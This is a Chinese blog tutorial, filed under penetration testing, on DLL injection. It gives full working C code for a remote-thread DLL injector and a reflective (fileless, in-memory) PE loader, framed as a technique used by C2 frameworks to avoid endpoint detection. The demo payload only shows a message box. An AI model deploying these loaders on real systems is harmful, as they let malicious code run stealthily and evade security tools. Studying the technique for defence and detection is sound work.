RDI无文件落地-反射DLL注入

最新推荐文章于 2024-10-30 20:19:12 发布
最新推荐文章于 2024-10-30 20:19:12 发布
阅读量645 收藏 9
点赞数 6
分类专栏： # 渗透测试 文章标签： 安全 windows c语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63701832/article/details/135708318
版权

概念简介

EDR

EDR技术不同于以往的基于边界、规则、策略为主的静态防御，是一种主动式端点安全防护技术，通过记录终端与网络事件（例如用户，文件，进程，注册表，内存和网络事件），结合已知的失陷指标（Indicators of Compromise，IOCs），运用行为分析和机器学习等技术来监测任何可能的安全威胁和恶意活动，并进行自动化的阻止、取证、补救和溯源，从而有效对端点进行防护。

dll注入

通过在目标进程中创建一个远程线程，通过向远程线程中传入对应的DLL，而直接将DLL加载到目标进程的虚拟空间之中

RDI

反射型DLL注入，即RDI是无文件落地，直接内存加载执行PE的技术，不必将其放置在主机的文件系统上，C2中经常使用。

常规dll注入

Dll2.dll

测试，弹个窗

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
void f() {
    MessageBoxA(0, 0, 0, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        f();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

将dll注入到aaa2.exe中

//远程进程注入
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef FARPROC
(WINAPI
	* pGetProcAddress)(
		_In_ HMODULE hModule,
		_In_ LPCSTR lpProcName
		);
typedef HMODULE
(WINAPI
	* pLoadLibraryA)(
		_In_ LPCSTR lpLibFileName
		);

BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath);
BOOL mydllinject(DWORD pid, LPCTSTR szDllPath);
DWORD fun(LPCTSTR ProcessName);
int main()
{
	DWORD pid = 0;
	pid = fun(L"aaa2.exe");
	printf("pid:%u\n", pid);
	mydllinject(pid,L"Dll2.dll");
	system("pause");
	return 0;
}

BOOL mydllinject(DWORD pid, LPCTSTR szDllPath)
{
	HMODULE hMod = GetModuleHandle(L"kernel32.dll");
	pGetProcAddress pThreadProc= (pGetProcAddress)GetProcAddress(hMod, "LoadLibraryW");
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		return FALSE;
	}
	DWORD size = (DWORD)(wcslen(szDllPath) + 1) * sizeof(TCHAR);
	LPVOID conAddr = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
	if (conAddr == NULL)
	{
		return FALSE;
	}
	printf("add:%x", conAddr);
	int writecon = WriteProcessMemory(hProcess, conAddr, (LPCVOID)szDllPath, size, NULL);
	if (writecon == 0)
	{
		printf("WriteProcessMemory:%d\n", GetLastError());
	}

	HANDLE thred = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadProc, conAddr, 0, NULL);
	if (thred == NULL)
	{
		printf("CreateRemoteThread:%d\n", GetLastError());
	}
	WaitForSingleObject(thred, INFINITE);
}
DWORD fun(LPCTSTR ProcessName)
{
	HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProceessnap == INVALID_HANDLE_VALUE)
	{
		printf_s("创建进行快照失败\n");
		return 0;
	}
	else
	{
		PROCESSENTRY32 pe32;
		pe32.dwSize = sizeof(pe32);
		BOOL hProcess = Process32First(hProceessnap, &pe32);
		while (hProcess)
		{
			if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
			{
				return pe32.th32ProcessID;
			}
			hProcess = Process32Next(hProceessnap, &pe32);
		}
	}
	CloseHandle(hProceessnap);
	return 0;
}

过程

  1. 过程程句柄
  2. 为线程函数的参数分配空间（这里的线程函数参数为需要注入的DLL的路径），然后将参数写入虚拟空间
  3. 加载kernel32.dll，从中获取LoadLibraryW的实际地址
  4. 在目标进程中创建远程线程，执行装载DLL的操作

注：

Windows上的应用进程大部分都装载了kernel32.dll这个DLL库，而这个库在各个进程中的装载地址是一样的，那么我们就可以通过GetModuleHandle直接在程序中拿到kernel32.dll，并通过GetProcAddress这个API来找到LoadLibrary这个函数的地址

LoadLibrary函数是需要参数的，这个参数也就是DLL文件的路径，且在目标进程的内存中是没有的，所以需要我们自行分配内存和写入数据

RDI反射dll注入

手动解析PE并映射到目标进程再运行

#include<stdio.h>
#include <Windows.h>
//重定位表
typedef struct BASE_RELOCATION_BLOCK {
    DWORD page_addr;
    DWORD block_size;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

//重定位项
typedef struct BASE_RELOCATION_ENTRY {
    USHORT offset : 12;
    USHORT type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
typedef BOOL(WINAPI* DLLEntry)(HINSTANCE dll, DWORD reason, LPVOID reserved);
int main()
{
    printf("pid:%d\n", GetCurrentProcessId());

    // 获取当前模块
    PVOID imagebase = GetModuleHandleA(NULL);

    //将DLL字节读入内存缓冲区
    HANDLE dll = CreateFileA("D:\\c_project\\dlltest\\Debug\\Dll2.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    DWORD64 dll_size = GetFileSize(dll, NULL);
    LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
    DWORD out_size = 0;
    ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

    // 解析dll
    PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
    PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD)dll_bytes + dosheaders->e_lfanew);
    SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage;   //内存中对齐后的大小
 
    // 为DLL分配新的内存空间
    LPVOID dllbase = VirtualAlloc(NULL, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("new memory addr:%p\n", dllbase);

    //计算得到dll基地址的偏移量，也就是实际的 DLL 加载地址减去 DLL 的首选加载地址
    DWORD delta_image_base = (DWORD)dllbase - (DWORD)ntheaders->OptionalHeader.ImageBase;

    // 将DLL节表头复制到新分配的DLL空间
    memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders);

    // 将DLL节部分复制到新分配的DLL空间
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders);
    for (size_t i = 0; i < ntheaders->FileHeader.NumberOfSections; i++,section++)
    {
        LPVOID section_destination = (LPVOID)((DWORD)dllbase + (DWORD)section->VirtualAddress);
        LPVOID section_bytes = (LPVOID)((DWORD)dll_bytes + (DWORD)section->PointerToRawData);
        memcpy(section_destination, section_bytes, section->SizeOfRawData);
    }

    //修复重定位
    IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    DWORD relocation_table = relocations.VirtualAddress + (DWORD)dllbase;
    DWORD relocations_processed = 0;

    while (relocations_processed < relocations.Size)
    {
        PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
        relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
        DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
        PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

        for (DWORD i = 0; i < relocations_count; i++)
        {
            relocations_processed += sizeof(BASE_RELOCATION_ENTRY);

            if (relocation_entries[i].type == 0)
            {
                continue;
            }

            DWORD relocation_rva = relocation_block->page_addr + relocation_entries[i].offset;
            DWORD address_2_patch = 0;
            ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD), NULL);
            address_2_patch += delta_image_base;
            memcpy((PVOID)((DWORD)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD));
        }
    }

    //解析导入地址表
    IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    PIMAGE_IMPORT_DESCRIPTOR import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD)dllbase);
    LPCSTR libraryname = "";
    HMODULE library = NULL;
    while (import_descriptor->Name != NULL)
    {
        libraryname = (LPCSTR)import_descriptor->Name + (DWORD)dllbase;
        library = LoadLibraryA(libraryname);
        if (library)
        {
            PIMAGE_THUNK_DATA thunk = NULL;
            thunk = (PIMAGE_THUNK_DATA)((DWORD)dllbase + import_descriptor->FirstThunk);

            while (thunk->u1.AddressOfData != NULL)
            {
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                {
                    LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                    thunk->u1.Function = (DWORD)GetProcAddress(library, functionOrdinal);
                }
                else
                {
                    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD)dllbase + thunk->u1.AddressOfData);
                    DWORD functionAddress = (DWORD)GetProcAddress(library, functionName->Name);
                    thunk->u1.Function = functionAddress;
                }
                ++thunk;
            }
        }
        import_descriptor++;
    }

    //执行
    DLLEntry dllentry = (DLLEntry)((DWORD)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint);
    (*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0);
    CloseHandle(dll);
    HeapFree(GetProcessHeap(), 0, dll_bytes);
    return 0;
}

效果如下
在这里插入图片描述

过程

1、将原始DLL文件加载至内存缓冲区；

2、解析DLL标头并获取SizeOfImage；

3、为DLL分配新的内存空间，大小为SizeOfImage；

4、将DLL头和PE节复制到中分配的内存空间；

5、执行重定位；

6、加载DLL导入的库，解析导入地址表（IAT）；

7、调用DLL

coleak
关注
专栏目录
DLL 注入 —— 反射式注入（内存手动映射）
墨鱼菜鸡
07-19 354
介绍 反射式注入 dll ，不会调用 LoadLibrary 这个 API，因此也无法使用 CreateToolhelp32Snapshot 遍历到这个模块。同时也不需要 DLL 留在磁盘上(可以通过网络下发，或加密后存...
内核线程注入(x64)
拉塞尔的博客
11-22 5808
阅读BlackBone源码从里面扣出来的关于内核线程注入方法的使用。 经过自己修改后做成的Demo，功能主要通过Ring0层驱动Attach到目标进程(目标进程可以是32位进程也可以是64位进程，使用不同的ShellCode进行注入操作)，然后调用NtCreateThreadEx来执行ShellCode，ShellCode做了一个注入Dll的简单行为(加载Dll使用的是Ntdll模块下的LdrL...
rdi:具有React能力的依赖注入库，由Reactor提供支持
03-11
RDI 具有React功能的Dependency Injection库，由Reactor提供支持。 什么是RDI？ RDI代表响应式依赖注入。 它是一个库，允许通过定义它们的依赖关系来管理应用程序中存在的bean，服务和任何类型的Java对象的实例化。 RDI的特殊性在于它完全支持所定义的React式编程范例，从而可以通过反压处理实现高效且无阻塞的应用程序。 您可以在查看完整的RDI文档。 依赖注入简而言之 依赖项注入的原理并不新鲜。 它的工作方式类似于，以及具有Quarkus或JSF这样的机制的其他一些框架。 但是，与这些示例不同，RDI并不是完整的框架，而是100％专注于依赖项注入的轻量级库。 为了说明依赖注入的工作方式，请考虑以下基本类： public class A { private final B b; public A ( B b ) {
反射式dll注入
摔不死的笨鸟的博客
08-27 6636
前不久实现了经典dll注入exe，实现注入到用户层面进程，比如notepad.exe和wps.exe。（像金山毒霸kxetray.exe有自我保护机制也注入不进去）。由于对会话隔离注入不太了解，怕搞坏主机，没有再去实现注入到系统进程中。最近在网上看到dll反射注入，想把学习总结的笔记给大家分享一下。 首先什么是反射式注入？它和传统经典注入有什么区别呢？我这里作个比喻。 经典式： 在别人的内存里调用...
dll注入浅析
MusicMan
05-10 852
转载自：https://www.anquanke.com/post/id/86671 【技术分享】DLL注入那些事 发布时间：2017-08-22 11:06:09 译文声明 本文是翻译文章，文章原作者，文章来源：blog.deniable.org 原文地址：http://blog.deniable.org/blog/2017/07/16/inject-all-the-things 译...
修改jar 注入_反射型DLL注入工具-sRDI
weixin_39858298的博客
10-21 345
反射型DLL注入 DLL 注入首先，我们需要了解什么是反射型DLL注入。DLL 注入就是将 DLL（动态链接库，是一个包含可由多个程序，同时使用的代码和数据的库。例如，在 Windows 操作系统中，Comdlg32.dll 执行与对话框有关的常见函数。）放进某个进程的地址空间里，让它成为那个进程的一部分。要实现 DLL 注入，首先需要打开目标进程。DLL 注入也被很多合法软件广泛的使用，但恶意软...
DLL注入
weixin_51313054的博客
10-20 6918
DLL注入DLL注入原理dll注入实现过程功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 DLL注入原理 在Windows操作系统中，运行的每一个进程都生活在自己的程序空间中（保护模式），每一个进程都认为自己拥有整个机器的控制权，
多种DLL注入技术原理介绍
热门推荐
顺其自然~专栏
11-06 3万+
本文中我将介绍DLL注入的相关知识。不算太糟的是，DLL注入技术可以被正常软件用来添加/扩展其他程序，调试或逆向工程的功能性；该技术也常被恶意软件以多种方式利用。这意味着从安全角度来说，了解DLL注入的工作原理是十分必要的。 不久前在为攻击方测试（目的是为了模拟不同类型的攻击行为）开发定制工具的时候，我编写了这个名为“injectAllTheThings”的小工程的大...
探索sRDI：Shellcode Reflective DLL注入的利器！
gitblog_00060的博客
05-12 416
探索sRDI：Shellcode Reflective DLL注入的利器！ sRDI Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode ...
sRDI：反射DLL注入的壳码实现指南
gitblog_00447的博客
10-10 482
sRDI：反射DLL注入的壳码实现指南 sRDI Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode ...
JCRCMDS:JCRCMDS.com 的 RDi/WDSCi 插件-开源
05-30
Craig Rutledge：http://www.jcrcmds.com/ RDi 8.0+ 更新站点：http://jcrcmds.sourceforge.net/eclipse/rdi8.0/ WDSC 7.0 更新站点：http://jcrcmds.sourceforge.net/ eclipse/wdsci7.0/ 存档的本地更新站点可以从...
4.7.3继电器输入冗余端子板XS-16RDI-RL-AC
03-23
继电器输入冗余端子板XS-16RDI-RL-AC是一种电气设备，广泛应用于工业自动化领域，特别是在控制系统中实现信号的转换和隔离。它包含16个独立的输入通道，这些通道以单线制数字输入模式工作，提供冗余输出，并通过继电...
4.7.5继电器输入冗余端子板XS-32RDI-RL
03-23
继电器输入冗余端子板XS-32RDI-RL是一款32路继电器输入模块，专门设计用于提供高可靠性和冗余性的输入信号。在自动化控制、工业控制系统中，此类产品常用于确保信号的稳定传输，防止因单点故障导致整个系统的瘫痪。 ...
J-LinkRDI.Dll 动态链接文件
12-02
J-LinkRDI.Dll 动态链接文件
安全知识见闻-脚本语言对与安全的重要性
2201_75446043的博客
10-27 1139
批处理文件是以.bat扩展名结尾的文本文件，其中包含一系列命令，通常用于自动化任务。在Windows操作系统中，批处理文件可以通过命令提示符（CMD）运行。PowerShell是微软推出的一种任务自动化和配置管理框架，结合了命令行界面和脚本语言的特性。它的命令称为“cmdlet”，支持对象导向，能够处理复杂的数据结构。编写宏病毒、脚本病毒、BIOS病毒或进行内网渗透都需要特定的技术知识和编程技能，类似的脚本病毒还有很多，无法一一列举。
服务攻防之开发组件安全
qq_63831588的博客
10-28 1143
log4j 是 Apache 的一个开源日志库，是一个基于 Java 的日志记录框架，Log4j2 是 log4j 的后继者，其中引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI 组建等，被应用于业务系统开发，用于记录程序输入输出日志信息，log4j2 中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞，成功利用该漏洞可在目标服务器上执行任意代码。
API接口开放与安全管控 - 原理与实践
whisperzzza的博客
10-27 1296
API安全是接口开放的前提条件 在API对外开放时，确保其安全性至关重要，因为API直接暴露给外部环境，容易成为攻击目标。一旦被恶意利用，可能导致数据泄露、服务滥用等严重后果。因此，通过API网关实施严格的接口安全管理措施，如身份验证、访问控制和流量限制，成为保护后端服务免受威胁的第一道防线。这不仅有助于维护系统的稳定性和可靠性，还能增强用户对平台的信任度。
前端如何安全存储密钥，防止信息泄露
最新发布
AM1n98的博客
10-30 954
把公钥写在前端代码文件里被公司检测到了要整改，整理几种常见的前端密钥存储方案。
【万户软件-注册安全分析报告-无验证方式导致安全隐患】
10-27 740
北京万户软件技术有限公司（简称“万户软件”）是北京华宇软件股份有限公司（股票简称：“华宇软件”，股票代码：300271）的全资⼦公司，创始于1998年，总部位于北京经开区信创园，二十余年专注数字办公协同业务。公司围绕智慧政务、企业数字化转型、信创改造等业务领域，为各级政府部⻔、⼤型集团企业及相关⾏业单位提供从规划咨询、应⽤软件、实施交付到持续运营维护的全⽅位服务。
movq %rdi , -8(%rbp)
03-26
movq %rdi, -8(%rbp) 是一条x86汇编指令，它的作用是将寄存器%rdi中的值存储到相对于栈基指针（%rbp）的偏移量为-8的位置上。 在x86汇编中，%rdi是一个通用寄存器，用于存储函数的第一个参数。而%rbp是栈基指针寄存器，用于指向当前函数的栈帧。 这条指令的含义是将函数的第一个参数的值存储到当前函数的栈帧中偏移量为-8的位置上。这样可以在函数中通过访问该位置来获取函数的第一个参数的值。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值